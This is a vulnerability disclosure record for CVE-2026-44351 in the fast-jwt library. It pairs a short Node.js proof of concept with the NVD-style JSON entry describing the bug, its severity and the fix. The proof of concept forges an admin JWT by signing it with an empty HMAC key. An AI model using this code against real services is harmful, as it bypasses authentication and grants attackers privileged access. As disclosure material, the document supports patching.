CVE-2026-44351

const crypto = require('crypto'); // Malicious payload const header = JSON.stringify({ alg: 'HS256', typ: 'JWT' }); const payload = JSON.stringify({ sub: 'admin', role: 'superuser' }); // Encode to Base64Url const base64UrlEncode = (str) => Buffer.from(str).toString('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); const encodedHeader = base64UrlEncode(header); const encodedPayload = base64UrlEncode(payload); const data = `${encodedHeader}.${encodedPayload}`; // Calculate signature with empty key (The vulnerability) const signature = crypto.createHmac('sha256', '').update(data).digest('base64').replace(/\+/g, '-').replace(/\//g, '_').replace(/=+$/, ''); const forgedJWT = `${data}.${signature}`; console.log('Forged JWT:', forgedJWT);

{"cve": {"id": "CVE-2026-44351", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:22.860", "lastModified": "2026-05-14T19:16:37.050", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 6.2.4, a critical authentication-bypass vulnerability in fast-jwt's async key-resolver flow allows any unauthenticated attacker to forge arbitrary JWTs that are accepted as authentic. When the application's key resolver returns an empty string (''), for example via the common keys[decoded.header.kid] || '' JWKS-style fallback, fast-jwt converts it to a zero-length Buffer, hands it to crypto.createSecretKey, derives allowedAlgorithms = ['HS256','HS384','HS512'] from it, and then verifies the token's signature against an empty-key HMAC. The attacker simply computes HMAC-SHA256(key='', input='${header}.${payload}'), which Node accepts without complaint — and the verifier returns the attacker-chosen payload (sub, admin, scopes, etc.) as authentic. This vulnerability is fixed in 6.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-326"}, {"lang": "en", "value": "CWE-1391"}]}], "references": [{"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc", "source": "[email protected]"}, {"url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gmvf-9v4p-v8jc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}